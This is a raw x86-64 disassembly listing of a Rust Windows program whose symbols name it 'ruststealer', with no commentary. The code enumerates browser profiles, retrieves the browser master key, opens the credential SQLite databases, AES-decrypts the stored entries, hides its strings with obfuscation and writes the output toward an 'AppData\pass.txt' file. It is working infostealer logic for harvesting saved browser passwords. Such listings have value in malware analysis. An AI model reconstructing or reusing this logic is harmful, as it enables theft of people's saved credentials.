mov rsi, qword [rsp + 0x90]
movabs rax, 0x8000000000000000
cmp rsi, rax
je 0x1400e3929
mov rdx, qword [rsp + 0x98]
mov r8, qword [rsp + 0xa0]
cmp byte [rsp + 0xa8], 0
je 0x1400e267f
mov qword [rsp + 0x250], rsi
mov qword [rsp + 0x20], 7
lea r9, str.AppData_pass.txt
lea rcx, [rsp + 0x500]
mov qword [rsp + 0x2c8], rdx
call sym.std::path::Path::_join::he13b0a2e79c985dd
lea rbp, [rsp + 0x90]
mov rcx, rbp
call sym.ruststealer::feature::browser::get_targets::haa7a7dbf677f7866
mov rax, qword [rsp + 0x90]
mov qword [rsp + 0x2d8], rax
mov rdx, qword [rsp + 0x98]
mov rax, qword [rsp + 0xa0]
lea rcx, [rax + rax*2]
lea rcx, [rdx + rcx*8]
mov qword [rsp + 0x228], rcx
mov qword [rsp + 0x258], rdx
mov r12, rdx
test rax, rax
je 0x1400e0932
lea r14, [rsp + 0x38]
pxor xmm6, xmm6
mov rax, qword [rsp + 0x258]
jmp 0x1400df441
mov rax, r12
cmp r12, qword [rsp + 0x228]
je 0x1400e0932
lea r12, [rax + 0x18]
mov rsi, qword [rax]
movabs rcx, 0x8000000000000000
cmp rsi, rcx
je 0x1400e0932
mov rdi, qword [rax + 8]
mov rax, qword [rax + 0x10]
mov rdx, qword [rsp + 0x508]
mov r8, qword [rsp + 0x510]
mov qword [rsp + 0x20], rax
lea rcx, [rsp + 0x490]
mov r9, rdi
call sym.std::path::Path::_join::he13b0a2e79c985dd
test rsi, rsi
je 0x1400df49e
mov rcx, qword [0x1403460d0]
xor edx, edx
mov r8, rdi
call fcn.14013f0f4
mov rbx, qword [rsp + 0x498]
mov rdi, qword [rsp + 0x4a0]
test rdi, rdi
lea rsi, [rsp + 0x30]
je 0x1400df4e0
js 0x1400e2dbb
movzx eax, byte [0x140346130]
xor ecx, ecx
mov rdx, rdi
call sym.std::sys::pal::windows::alloc::process_heap_alloc::hcc99af14aa596ba0
test rax, rax
je 0x1400e3421
mov r15, rax
jmp 0x1400df4e6
mov r15d, 1
mov rcx, r15
mov rdx, rbx
mov r8, rdi
call sym.memcpy
mov qword [rsp + 0x90], rdi
mov qword [rsp + 0x98], r15
mov qword [rsp + 0xa0], rdi
movzx eax, byte [rsp + 0x4a8]
mov byte [rsp + 0xa8], al
lea rcx, [rsp + 0x358]
mov rdx, rbp
call sym.ruststealer::feature::browser::get_browser_name::h856f219fbeb9d3cf
mov qword [rsp + 0x280], 0
mov qword [rsp + 0x288], 1
mov qword [rsp + 0x290], 0
mov rcx, rbp
mov rdx, rbx
mov r8, rdi
call sym.std::sys::pal::windows::fs::stat::hfe0d5c68794b1871
cmp dword [rsp + 0x90], 2
jne 0x1400df5d0
mov rdi, qword [rsp + 0x98]
mov eax, edi
and eax, 3
cmp eax, 1
jne 0x1400df812
mov rbx, qword [rdi - 1]
mov rsi, qword [rdi + 7]
mov rax, qword [rsi]
test rax, rax
je 0x1400df592
mov rcx, rbx
call rax
cmp qword [rsi + 8], 0
je 0x1400df5b5
cmp qword [rsi + 0x10], 0x11
jb 0x1400df5a4
mov rbx, qword [rbx - 8]
mov rcx, qword [0x1403460d0]
xor edx, edx
mov r8, rbx
call fcn.14013f0f4
dec rdi
mov rcx, qword [0x1403460d0]
xor edx, edx
mov r8, rdi
jmp 0x1400df80d
lea rcx, [rsp + 0x3b0]
lea rdx, [rsp + 0x490]
call sym.ruststealer::feature::browser::get_user_data_dir::h42a94d208d7672a5
mov rdi, qword [rsp + 0x3b8]
mov rbx, qword [rsp + 0x3c0]
lea rcx, [rsp + 0x370]
mov rdx, rdi
mov r8, rbx
call sym.ruststealer::feature::browser::get_profile_names::h504859518cc13cc7
lea rax, [0x1402fce9e]
mov qword [rsp + 0x90], rax
mov rcx, qword [rsp + 0x90]
movabs rax, 0x824d6ffd7dd52394
mov qword [rsp + 0x90], rax
mov rdx, qword [rsp + 0x90]
call sym.obfstr::xref::inner::ha3ae089a8c29b7af
mov rcx, qword [rax]
movabs rdx, 0x8dc7dc62e93d7b0c
xor rcx, rdx
movzx edx, byte [rax + 0xa]
movzx eax, word [rax + 8]
mov r8d, eax
shr r8d, 8
xor al, 0xa7
xor r8b, 0x4f
xor dl, 0x3f
mov qword [rsp + 0x90], rcx
mov byte [rsp + 0x98], al
mov byte [rsp + 0x99], r8b
mov byte [rsp + 0x9a], dl
mov qword [rsp + 0x20], 0xb
lea rcx, [rsp + 0x400]
mov rdx, rdi
mov r8, rbx
mov r9, rbp
call sym.std::path::Path::_join::he13b0a2e79c985dd
mov rdi, qword [rsp + 0x408]
mov rbx, qword [rsp + 0x410]
mov rcx, rbp
mov rdx, rdi
mov r8, rbx
call sym.std::sys::pal::windows::fs::stat::hfe0d5c68794b1871
cmp dword [rsp + 0x90], 2
jne 0x1400df730
mov rdi, qword [rsp + 0x98]
mov eax, edi
and eax, 3
cmp eax, 1
jne 0x1400df759
mov rbx, qword [rdi - 1]
mov rsi, qword [rdi + 7]
mov rax, qword [rsi]
test rax, rax
je 0x1400df6f2
mov rcx, rbx
call rax
cmp qword [rsi + 8], 0
je 0x1400df715
cmp qword [rsi + 0x10], 0x11
jb 0x1400df704
mov rbx, qword [rbx - 8]
mov rcx, qword [0x1403460d0]
xor edx, edx
mov r8, rbx
call fcn.14013f0f4
dec rdi
mov rcx, qword [0x1403460d0]
xor edx, edx
mov r8, rdi
call fcn.14013f0f4
jmp 0x1400df759
mov rcx, rbp
mov rdx, rdi
mov r8, rbx
call sym.ruststealer::crypt::get_master_key::hca3b0983758506dd
mov rcx, qword [rsp + 0x90]
movabs rax, 0x8000000000000000
cmp rcx, rax
jne 0x1400df87e
cmp qword [rsp + 0x400], 0
je 0x1400df77a
mov r8, qword [rsp + 0x408]
mov rcx, qword [0x1403460d0]
xor edx, edx
call fcn.14013f0f4
mov rsi, qword [rsp + 0x380]
test rsi, rsi
je 0x1400df7d0
mov rdi, qword [rsp + 0x378]
add rdi, 8
jmp 0x1400df7a9
add rdi, 0x18
dec rsi
je 0x1400df7d0
cmp qword [rdi - 8], 0
je 0x1400df7a0
mov r8, qword [rdi]
mov rcx, qword [0x1403460d0]
xor edx, edx
call fcn.14013f0f4
jmp 0x1400df7a0
cmp qword [rsp + 0x370], 0
je 0x1400df7f1
mov r8, qword [rsp + 0x378]
mov rcx, qword [0x1403460d0]
xor edx, edx
call fcn.14013f0f4
cmp qword [rsp + 0x3b0], 0
je 0x1400df812
mov r8, qword [rsp + 0x3b8]
mov rcx, qword [0x1403460d0]
xor edx, edx
call fcn.14013f0f4
cmp qword [rsp + 0x280], 0
je 0x1400df833
mov r8, qword [rsp + 0x288]
mov rcx, qword [0x1403460d0]
xor edx, edx
call fcn.14013f0f4
cmp qword [rsp + 0x358], 0
je 0x1400df854
mov r8, qword [rsp + 0x360]
mov rcx, qword [0x1403460d0]
xor edx, edx
call fcn.14013f0f4
cmp qword [rsp + 0x490], 0
je 0x1400df430
mov r8, qword [rsp + 0x498]
mov rcx, qword [0x1403460d0]
xor edx, edx
call fcn.14013f0f4
jmp 0x1400df430
mov qword [rsp + 0x2d0], rcx
mov rax, qword [rsp + 0x98]
mov qword [rsp + 0x28], rax
mov rax, qword [rsp + 0x370]
mov qword [rsp + 0x248], rax
mov rdx, qword [rsp + 0x378]
mov rax, qword [rsp + 0x380]
lea rcx, [rax + rax*2]
lea r15, [rdx + rcx*8]
mov rbx, rdx
test rax, rax
mov qword [rsp + 0x4f8], rdx
je 0x1400e078a
mov rax, qword [rsp + 0xa0]
mov qword [rsp + 0x240], rax
mov rbx, rdx
mov qword [rsp + 0x278], r12
mov qword [rsp + 0x220], r15
jmp 0x1400df909
cmp rbx, r15
je 0x1400e07d3
mov rax, rbx
add rbx, 0x18
mov rdx, qword [rax]
movabs rcx, 0x8000000000000000
cmp rdx, rcx
je 0x1400e078a
mov rcx, qword [rax + 8]
mov qword [rsp + 0x230], rcx
mov rdi, qword [rax + 0x10]
test rdi, rdi
mov qword [rsp + 0x238], rdx
je 0x1400df970
js 0x1400e2dbb
movzx eax, byte [0x140346130]
xor ecx, ecx
mov rdx, rdi
call sym.std::sys::pal::windows::alloc::process_heap_alloc::hcc99af14aa596ba0
test rax, rax
je 0x1400e3421
mov r12, rax
jmp 0x1400df976
mov r12d, 1
mov rcx, r12
mov rdx, qword [rsp + 0x230]
mov r8, rdi
call sym.memcpy
mov qword [rsp + 0x90], rdi
mov qword [rsp + 0x98], r12
mov qword [rsp + 0xa0], rdi
lea rcx, [rsp + 0x4b0]
lea rdx, [rsp + 0x3b0]
mov r8, rbp
call sym.ruststealer::feature::browser::get_profile_path::hb94dd452edd2b761
mov rdi, qword [rsp + 0x4b8]
mov r12, qword [rsp + 0x4c0]
lea rax, [0x1402f976b]
mov qword [rsp + 0x90], rax
mov rcx, qword [rsp + 0x90]
movabs rax, 0x3fec713189cce4ee
mov qword [rsp + 0x90], rax
mov rdx, qword [rsp + 0x90]
call sym.obfstr::xref::inner::h960e2e946866e737
mov rcx, qword [rax]
movabs rdx, 0x9c24ba51dfea7c40
xor rcx, rdx
movzx eax, word [rax + 8]
mov edx, eax
xor dl, 0x26
shr eax, 8
xor al, 0x63
mov qword [rsp + 0x90], rcx
mov byte [rsp + 0x98], dl
mov byte [rsp + 0x99], al
mov qword [rsp + 0x20], 0xa
lea rcx, [rsp + 0x420]
mov rdx, rdi
mov r8, r12
mov r9, rbp
call sym.std::path::Path::_join::he13b0a2e79c985dd
mov rdi, qword [rsp + 0x428]
mov r12, qword [rsp + 0x430]
mov rcx, rbp
mov rdx, rdi
mov r8, r12
call sym.std::sys::pal::windows::fs::stat::hfe0d5c68794b1871
cmp dword [rsp + 0x90], 2
jne 0x1400dfb60
mov rdi, qword [rsp + 0x98]
mov eax, edi
and eax, 3
cmp eax, 1
jne 0x1400dfae2
mov r12, qword [rdi - 1]
mov rsi, qword [rdi + 7]
mov rax, qword [rsi]
test rax, rax
je 0x1400dfaa5
mov rcx, r12
call rax
cmp qword [rsi + 8], 0
je 0x1400dfac9
cmp qword [rsi + 0x10], 0x11
jb 0x1400dfab8
mov r12, qword [r12 - 8]
mov rcx, qword [0x1403460d0]
xor edx, edx
mov r8, r12
call fcn.14013f0f4
dec rdi
mov rcx, qword [0x1403460d0]
xor edx, edx
mov r8, rdi
call fcn.14013f0f4
lea rsi, [rsp + 0x30]
cmp qword [rsp + 0x420], 0
je 0x1400dfb03
mov r8, qword [rsp + 0x428]
mov rcx, qword [0x1403460d0]
xor edx, edx
call fcn.14013f0f4
cmp qword [rsp + 0x4b0], 0
mov r12, qword [rsp + 0x278]
je 0x1400dfb2c
mov r8, qword [rsp + 0x4b8]
mov rcx, qword [0x1403460d0]
xor edx, edx
call fcn.14013f0f4
cmp qword [rsp + 0x238], 0
je 0x1400df900
mov rcx, qword [0x1403460d0]
xor edx, edx
mov r8, qword [rsp + 0x230]
call fcn.14013f0f4
jmp 0x1400df900
mov rcx, rbp
mov rdx, rdi
mov r8, r12
call sym.rusqlite::path_to_cstring::h926a78a56ed7a7e8
movzx esi, byte [rsp + 0x90]
cmp sil, 0x13
jne 0x1400e3469
mov rdi, qword [rsp + 0x98]
mov r12, qword [rsp + 0xa0]
mov rcx, rbp
mov rdx, rdi
mov r8, r12
call sym.rusqlite::inner_connection::InnerConnection::open_with_flags::haba3edfa2f0825fd
movzx r9d, byte [rsp + 0x90]
cmp r9b, 0x13
jne 0x1400dfc00
lea rcx, [rsp + 0x98]
mov rax, qword [rcx + 0x10]
mov qword [rsp + 0x1d0], rax
movups xmm0, xmmword [rcx]
movaps xmmword [rsp + 0x1c0], xmm0
movups xmm0, xmmword [0x14030d8f0]
movaps xmmword [rsp + 0x30], xmm0
movdqu xmmword [r14 + 8], xmm6
mov edx, 0x10
xor r15d, r15d
lea r8, [0x14030d8d0]
xor esi, esi
xor ebp, ebp
mov byte [rdi], 0
test r12, r12
jne 0x1400dfc4b
jmp 0x1400dfc74
mov rsi, qword [rsp + 0x90]
mov r8, qword [rsp + 0x98]
mov rbp, rsi
shr rbp, 8
mov r15, qword [rsp + 0xa0]
lea rax, [rsp + 0x98]
movups xmm0, xmmword [rax + 0x10]
movdqu xmm1, xmmword [rax + 0x20]
movaps xmmword [rsp + 0x30], xmm0
movdqa xmmword [rsp + 0x40], xmm1
mov rdx, qword [rsp + 0xc8]
mov byte [rdi], 0
test r12, r12
je 0x1400dfc74
mov rcx, qword [0x1403460d0]
mov r12, rdx
xor edx, edx
mov r13, rbx
mov rbx, r8
mov r8, rdi
mov edi, r9d
call fcn.14013f0f4
mov r9d, edi
mov r8, rbx
mov rbx, r13
mov rdx, r12
cmp r9b, 0x13
jne 0x1400e34be
shl rbp, 8
movzx eax, sil
or rax, rbp
mov qword [rsp + 0x2e0], rax
mov qword [rsp + 0x2e8], r8
mov qword [rsp + 0x2f0], r15
movaps xmm0, xmmword [rsp + 0x30]
movdqa xmm1, xmmword [rsp + 0x40]
lea rcx, [rsp + 0x2f8]
movdqu xmmword [rcx + 0x10], xmm1
movups xmmword [rcx], xmm0
mov qword [rsp + 0x318], rdx
mov qword [rsp + 0x320], 0
mov rax, qword [rsp + 0x1d0]
mov qword [rcx + 0x40], rax
movdqa xmm0, xmmword [rsp + 0x1c0]
movdqu xmmword [rcx + 0x30], xmm0
lea rax, [0x1402fb78a]
mov qword [rsp + 0x30], rax
lea r12, [rsp + 0x30]
mov rcx, qword [rsp + 0x30]
movabs rax, 0x2b35c66e7c92c9c4
mov qword [rsp + 0x30], rax
mov rdx, qword [rsp + 0x30]
call sym.obfstr::xref::inner::h08bb93fdf0b2b46d
mov rcx, qword [rax]
mov rdx, qword [rax + 8]
mov r8, qword [rax + 0x10]
mov r9, qword [rax + 0x18]
mov r10, qword [rax + 0x20]
mov r11, qword [rax + 0x28]
mov rsi, qword [rax + 0x30]
mov edi, dword [rax + 0x38]
movzx eax, byte [rax + 0x3c]
movabs r13, 0x6ff95ed9293f6353
xor rcx, r13
mov qword [rsp + 0x90], rcx
movabs rcx, 0xe2c78da0c069c5c8
xor rdx, rcx
mov qword [rsp + 0x98], rdx
movabs rcx, 0xa16110ab7d030739
xor r8, rcx
mov qword [rsp + 0xa0], r8
movabs rcx, 0x5d18fb9bedf21331
xor r9, rcx
mov qword [rsp + 0xa8], r9
movabs rcx, 0xccdda4d60f1cef6e
xor r10, rcx
mov qword [rsp + 0xb0], r10
movabs rcx, 0xf4b5d6a670ac4655
xor r11, rcx
mov qword [rsp + 0xb8], r11
movabs rcx, 0x2793ba4082470356
xor rsi, rcx
mov qword [rsp + 0xc0], rsi
mov ecx, 0x4ba9d78d
xor edi, ecx
mov dword [rsp + 0xc8], edi
xor al, 1
mov byte [rsp + 0xcc], al
cmp qword [rsp + 0x320], 0
jne 0x1400e342e
mov qword [rsp + 0x320], 0xffffffffffffffff
mov qword [rsp + 0x1c0], 0
mov qword [rsp + 0x30], 0
mov rdi, qword [rsp + 0x330]
mov qword [rsp + 0x20], r12
mov rcx, rdi
lea rbp, [rsp + 0x90]
mov rdx, rbp
mov r8d, 0x3d
lea r9, [rsp + 0x1c0]
call sym.sqlite3_prepare_v2
test eax, eax
mov rsi, r12
jne 0x1400e06d2
mov rax, qword [rsp + 0x1c0]
mov rcx, qword [rsp + 0x30]
mov rdx, rcx
sub rdx, rbp
mov r8, rbp
neg r8
add r8, rcx
add r8, 0xffffffffffffffc3
cmp r8, 0xffffffffffffffc4
mov r8d, 0
cmovae r8, rdx
test rcx, rcx
cmove r8, rcx
lea rcx, [rsp + 0x2e0]
mov qword [rsp + 0x568], rcx
lea rdx, [rsp + 0x570]
movdqu xmmword [rdx], xmm6
movdqu xmmword [rdx + 0x18], xmm6
inc qword [rsp + 0x320]
mov qword [rsp + 0x5a0], rax
mov qword [rsp + 0x5a8], r8
movups xmm0, xmmword [rdx]
movdqu xmm1, xmmword [rdx + 0x10]
movdqu xmm2, xmmword [rdx + 0x20]
movdqu xmm3, xmmword [rdx + 0x30]
lea rax, [rsp + 0x448]
movdqu xmmword [rax + 0x30], xmm3
movdqu xmmword [rax + 0x20], xmm2
movdqu xmmword [rax + 0x10], xmm1
movups xmmword [rax], xmm0
mov qword [rsp + 0x440], rcx
mov rcx, qword [rsp + 0x478]
call sym.sqlite3_bind_parameter_count
test eax, eax
lea r12, [rsp + 0x440]
jne 0x1400e3511
nop dword [rax]
mov rcx, qword [rsp + 0x478]
call sym.sqlite3_step
cmp eax, 0x64
jne 0x1400e0300
mov rcx, rsi
mov rdx, r12
xor r8d, r8d
call sym.rusqlite::row::Row::get::he379f2946cfbf116
cmp byte [rsp + 0x30], 0x13
jne 0x1400e3124
mov rax, qword [r14 + 0x10]
mov qword [rsp + 0x350], rax
movups xmm0, xmmword [r14]
movaps xmmword [rsp + 0x340], xmm0
mov r8d, 1
mov rcx, rsi
mov rdx, r12
call sym.rusqlite::row::Row::get::he379f2946cfbf116
cmp byte [rsp + 0x30], 0x13
jne 0x1400e30de
mov rax, qword [r14 + 0x10]
mov qword [rsp + 0x2b0], rax
movups xmm0, xmmword [r14]
movaps xmmword [rsp + 0x2a0], xmm0
mov r8d, 2
mov rcx, rsi
mov rdx, r12
call sym.rusqlite::row::Row::get::he969bdb1b731588c
cmp byte [rsp + 0x30], 0x13
jne 0x1400e3098
mov rax, qword [r14 + 0x10]
mov qword [rsp + 0x4e0], rax
movups xmm0, xmmword [r14]
movaps xmmword [rsp + 0x4d0], xmm0
lea rcx, [rsp + 0x3d0]
lea rdx, [rsp + 0x4d0]
mov r8, qword [rsp + 0x28]
mov r9, qword [rsp + 0x240]
call sym.ruststealer::crypt::aes_decrypt::h3612fe7e8e9fb2e3
mov rdi, qword [rsp + 0x3d8]
mov r8, qword [rsp + 0x3e0]
mov rcx, rsi
mov rdx, rdi
call sym.core::str::converts::from_utf8::h66c2f181a607cc90
cmp qword [rsp + 0x30], 0
je 0x1400e00a0
movdqu xmm0, xmmword [r14]
lea rax, [rsp + 0x98]
movdqu xmmword [rax], xmm0
mov rax, qword [rsp + 0x3d0]
mov rcx, qword [rsp + 0x3e0]
mov qword [rsp + 0x90], rcx
mov rcx, qword [rsp + 0xa0]
mov qword [rsp + 0x3a0], rcx
mov rcx, qword [rsp + 0x90]
mov qword [rsp + 0x390], rcx
mov rcx, qword [rsp + 0x98]
mov qword [rsp + 0x398], rcx
movabs rcx, 0x8000000000000000
cmp rax, rcx
je 0x1400e00bd
test rax, rax
je 0x1400e0086
mov rcx, qword [0x1403460d0]
xor edx, edx
mov r8, rdi
call fcn.14013f0f4
cmp qword [rsp + 0x2a0], 0
jne 0x1400e027d
jmp 0x1400e0293
mov rdi, qword [rsp + 0x3d0]
lea rax, [rsp + 0x3d8]
movdqu xmm0, xmmword [rax]
movdqa xmmword [rsp + 0x390], xmm0
mov qword [rsp + 0x528], rdi
mov rax, qword [rsp + 0x390]
lea rcx, [rsp + 0x530]
mov qword [rcx], rax
mov rax, qword [rsp + 0x398]
mov qword [rcx + 8], rax
lea rax, [rsp + 0x340]
mov qword [rsp + 0x90], rax
lea rcx, [sym.__alloc::string::String_as_core::fmt::Display_::fmt::hc4f37428fa496577]
mov qword [rsp + 0x98], rcx
lea rax, [rsp + 0x2a0]
mov qword [rsp + 0xa0], rax
mov qword [rsp + 0xa8], rcx
lea rax, [rsp + 0x528]
mov qword [rsp + 0xb0], rax
mov qword [rsp + 0xb8], rcx
lea rax, [0x1403072a0]
mov qword [rsp + 0x30], rax
mov qword [rsp + 0x38], 4
mov qword [rsp + 0x50], 0
mov qword [rsp + 0x40], rbp
mov qword [rsp + 0x48], 3
lea rcx, [rsp + 0x1c0]
mov rdx, rsi
call sym.alloc::fmt::format::format_inner::h016d222f45dabbf4
mov rsi, qword [rsp + 0x1c0]
mov r12, qword [rsp + 0x1c8]
mov r13, qword [rsp + 0x1d0]
test r13, r13
je 0x1400e01c0
js 0x1400e2dbb
movzx eax, byte [0x140346130]
xor ecx, ecx
mov rdx, r13
call sym.std::sys::pal::windows::alloc::process_heap_alloc::hcc99af14aa596ba0
test rax, rax
je 0x1400e33f6
mov rdi, rax
jmp 0x1400e01c5
mov edi, 1
mov rcx, rdi
mov rdx, r12
mov r8, r13
call sym.memcpy
mov rax, qword [rsp + 0x280]
mov rbp, qword [rsp + 0x290]
sub rax, rbp
cmp rax, r13
jb 0x1400e02bd
mov rcx, qword [rsp + 0x288]
add rcx, rbp
mov rdx, rdi
mov r8, r13
call sym.memcpy
add rbp, r13
mov qword [rsp + 0x290], rbp
test r13, r13
je 0x1400e0226
mov rcx, qword [0x1403460d0]
xor edx, edx
mov r8, rdi
call fcn.14013f0f4
test rsi, rsi
lea rbp, [rsp + 0x90]
je 0x1400e0244
mov rcx, qword [0x1403460d0]
xor edx, edx
mov r8, r12
call fcn.14013f0f4
cmp qword [rsp + 0x528], 0
lea rsi, [rsp + 0x30]
je 0x1400e026a
mov r8, qword [rsp + 0x530]
mov rcx, qword [0x1403460d0]
xor edx, edx
call fcn.14013f0f4
cmp qword [rsp + 0x2a0], 0
lea r12, [rsp + 0x440]
je 0x1400e0293
mov r8, qword [rsp + 0x2a8]
mov rcx, qword [0x1403460d0]
xor edx, edx
call fcn.14013f0f4
cmp qword [rsp + 0x340], 0
je 0x1400dff10
mov r8, qword [rsp + 0x348]
mov rcx, qword [0x1403460d0]
xor edx, edx
call fcn.14013f0f4
jmp 0x1400dff10
lea rcx, [rsp + 0x280]
mov rdx, rbp
mov r8, r13
call sym.alloc::raw_vec::RawVec_T_A_::reserve::do_reserve_and_handle::h010c4e3c86a70d79
mov rbp, qword [rsp + 0x290]
mov rcx, qword [rsp + 0x288]
add rcx, rbp
mov rdx, rdi
mov r8, r13
call sym.memcpy
add rbp, r13
mov qword [rsp + 0x290], rbp
jmp 0x1400e0215
cmp eax, 0x65
jne 0x1400e27fc
mov rcx, qword [rsp + 0x478]
call sym.sqlite3_reset
movups xmm0, xmmword [rsp + 0x440]
movups xmm1, xmmword [rsp + 0x450]
movdqu xmm2, xmmword [rsp + 0x460]
movdqu xmm3, xmmword [rsp + 0x470]
movdqa xmmword [rsp + 0xc0], xmm3
movaps xmmword [rsp + 0x90], xmm0
movdqa xmmword [rsp + 0xb0], xmm2
movaps xmmword [rsp + 0xa0], xmm1
mov rax, qword [rsp + 0x480]
mov rcx, qword [rsp + 0xc8]
mov qword [rsp + 0xc8], 0
mov qword [rsp + 0xd0], 0
mov r12, qword [rsp + 0x90]
movups xmm0, xmmword [rsp + 0x98]
lea rdx, [rsp + 0x98]
movdqu xmmword [rdx], xmm6
movaps xmmword [rsp + 0x30], xmm0
mov rsi, qword [rsp + 0xb8]
movups xmm0, xmmword [rsp + 0xa8]
movdqu xmm1, xmmword [rsp + 0xb8]
movdqa xmmword [rsp + 0xb0], xmm6
movaps xmmword [rsp + 0x40], xmm0
movdqa xmmword [rsp + 0x50], xmm1
mov qword [rsp + 0x68], rax
call sym.sqlite3_finalize
mov edi, eax
xor ecx, ecx
call sym.sqlite3_finalize
mov qword [rsp + 0x60], 0
lea rcx, [rsp + 0x38]
call sym._ZN99__LT_alloc..collections..btree..map..BTreeMap_LT_K_C_V_C_A_GT__u20_as_u20_core..ops..drop..Drop_GT_4drop17h80a417c1602aba
test rsi, rsi
je 0x1400e0410
lock dec qword [rsi]
jne 0x1400e0410
mov rcx, qword [rsp + 0x50]
mov rdx, qword [rsp + 0x58]
call sym.alloc::sync::Arc_T_A_::drop_slow::h1c6c6cbaff3285f5
mov rax, qword [r12 + 0x40]
movabs rcx, 0x8000000000000000
lea rsi, [rcx - 1]
cmp rax, rsi
mov r15, qword [rsp + 0x220]
jae 0x1400e3403
lea rcx, [rax + 1]
mov qword [r12 + 0x40], rcx
test edi, edi
jne 0x1400e0739
mov byte [rsp + 0x1c0], 0x13
mov qword [r12 + 0x40], rax
mov rcx, qword [rsp + 0xc8]
mov rax, qword [rsp + 0xd0]
movdqu xmmword [rsp + 0xc8], xmm6
mov r12, qword [rsp + 0x90]
movups xmm0, xmmword [rsp + 0x98]
lea rdx, [rsp + 0x98]
movdqu xmmword [rdx], xmm6
movaps xmmword [rsp + 0x30], xmm0
mov r13, qword [rsp + 0xb8]
movups xmm0, xmmword [rsp + 0xa8]
movdqu xmm1, xmmword [rsp + 0xb8]
movdqa xmmword [rsp + 0xb0], xmm6
movaps xmmword [rsp + 0x40], xmm0
movdqa xmmword [rsp + 0x50], xmm1
mov qword [rsp + 0x68], rax
call sym.sqlite3_finalize
mov edi, eax
xor ecx, ecx
call sym.sqlite3_finalize
mov qword [rsp + 0x60], 0
lea rcx, [rsp + 0x38]
call sym._ZN99__LT_alloc..collections..btree..map..BTreeMap_LT_K_C_V_C_A_GT__u20_as_u20_core..ops..drop..Drop_GT_4drop17h80a417c1602aba
test r13, r13
je 0x1400e04fa
lock dec qword [r13]
jne 0x1400e04fa
mov rcx, qword [rsp + 0x50]
mov rdx, qword [rsp + 0x58]
call sym.alloc::sync::Arc_T_A_::drop_slow::h1c6c6cbaff3285f5
mov rax, qword [r12 + 0x40]
cmp rax, rsi
jae 0x1400e3403
lea rcx, [rax + 1]
mov qword [r12 + 0x40], rcx
test edi, edi
lea rsi, [rsp + 0x30]
jne 0x1400e075b
mov qword [r12 + 0x40], rax
mov rcx, qword [rsp + 0xc8]
call sym.sqlite3_finalize
mov qword [rsp + 0xc8], 0
lea rcx, [rsp + 0xa0]
call sym._ZN99__LT_alloc..collections..btree..map..BTreeMap_LT_K_C_V_C_A_GT__u20_as_u20_core..ops..drop..Drop_GT_4drop17h80a417c1602aba
mov rax, qword [rsp + 0xb8]
test rax, rax
mov r12, qword [rsp + 0x278]
je 0x1400e0579
lock dec qword [rax]
jne 0x1400e0579
mov rcx, qword [rsp + 0xb8]
mov rdx, qword [rsp + 0xc0]
call sym.alloc::sync::Arc_T_A_::drop_slow::h1c6c6cbaff3285f5
cmp byte [rsp + 0x1c0], 0x13
jne 0x1400e353b
movups xmm0, xmmword [rsp + 0x330]
movaps xmmword [rsp + 0x210], xmm0
movups xmm0, xmmword [rsp + 0x320]
movaps xmmword [rsp + 0x200], xmm0
movups xmm0, xmmword [rsp + 0x2e0]
movups xmm1, xmmword [rsp + 0x2f0]
movups xmm2, xmmword [rsp + 0x300]
movups xmm3, xmmword [rsp + 0x310]
movaps xmmword [rsp + 0x1f0], xmm3
movaps xmmword [rsp + 0x1e0], xmm2
movaps xmmword [rsp + 0x1d0], xmm1
movaps xmmword [rsp + 0x1c0], xmm0
lea rcx, [rsp + 0x1c0]
call sym.rusqlite::cache::StatementCache::flush::h3afbc9323d6b1eff
cmp qword [rsp + 0x200], 0
jne 0x1400e343a
mov qword [rsp + 0x200], 0xffffffffffffffff
lea rcx, [rsp + 0x528]
lea rdx, [rsp + 0x208]
call sym.rusqlite::inner_connection::InnerConnection::close::hb52cd5f8ba146b1d
inc qword [rsp + 0x200]
movaps xmm0, xmmword [rsp + 0x210]
movaps xmmword [rsp + 0x80], xmm0
movaps xmm0, xmmword [rsp + 0x200]
movaps xmmword [rsp + 0x70], xmm0
movdqa xmm0, xmmword [rsp + 0x1c0]
movdqa xmm1, xmmword [rsp + 0x1d0]
movdqa xmm2, xmmword [rsp + 0x1e0]
movdqa xmm3, xmmword [rsp + 0x1f0]
movdqa xmmword [rsp + 0x60], xmm3
movdqa xmmword [rsp + 0x50], xmm2
movdqa xmmword [rsp + 0x40], xmm1
movdqa xmmword [rsp + 0x30], xmm0
movzx eax, byte [rsp + 0x528]
cmp al, 0x13
jne 0x1400e358d
mov rcx, rsi
call sym.core::ptr::drop_in_place_rusqlite::Connection_::h3d7d78e36be7a3b0
cmp qword [rsp + 0x420], 0
je 0x1400e06be
mov r8, qword [rsp + 0x428]
mov rcx, qword [0x1403460d0]
xor edx, edx
call fcn.14013f0f4
cmp qword [rsp + 0x4b0], 0
jne 0x1400dfb16
jmp 0x1400dfb2c
mov qword [rsp + 0x20], 0x3d
lea r15, [rsp + 0x570]
mov rcx, r15
mov rdx, rdi
mov r8d, eax
mov r9, rbp
call sym.rusqlite::error::error_with_offset::h739924bca736ff99
mov qword [rsp + 0x568], 0
inc qword [rsp + 0x320]
mov rcx, r15
call sym._ZN4core3ptr43drop_in_place_LT_rusqlite..error..Error_GT_17hfd6d8cf91505608dE.4129
lea rcx, [rsp + 0x2e0]
call sym.core::ptr::drop_in_place_rusqlite::Connection_::h3d7d78e36be7a3b0
mov r15, qword [rsp + 0x220]
cmp qword [rsp + 0x420], 0
jne 0x1400dfaed
jmp 0x1400dfb03
mov rdx, qword [r12 + 0x50]
lea rcx, [rsp + 0x1c0]
mov r8d, edi
call sym.rusqlite::error::error_from_handle::h33fd9c91820f13d7
mov rax, qword [r12 + 0x40]
dec rax
jmp 0x1400e044d
mov rdx, qword [r12 + 0x50]
mov rcx, rsi
mov r8d, edi
call sym.rusqlite::error::error_from_handle::h33fd9c91820f13d7
movzx eax, byte [rsp + 0x30]
dec qword [r12 + 0x40]
cmp al, 0x13
je 0x1400e0523
mov rcx, rsi
call sym._ZN4core3ptr43drop_in_place_LT_rusqlite..error..Error_GT_17hfd6d8cf91505608dE.4129
jmp 0x1400e0523
mov rax, r15
sub rax, rbx
movabs rcx, 0xaaaaaaaaaaaaaaab
mul rcx
cmp r15, rbx
je 0x1400e07d3
mov rdi, rdx
shr rdi, 4
add rbx, 8
jmp 0x1400e07b9
add rbx, 0x18
dec rdi
je 0x1400e07d3
cmp qword [rbx - 8], 0
je 0x1400e07b0
mov r8, qword [rbx]
mov rcx, qword [0x1403460d0]
xor edx, edx
call fcn.14013f0f4
jmp 0x1400e07b0
cmp qword [rsp + 0x248], 0
je 0x1400e07f4
mov rcx, qword [0x1403460d0]
xor edx, edx
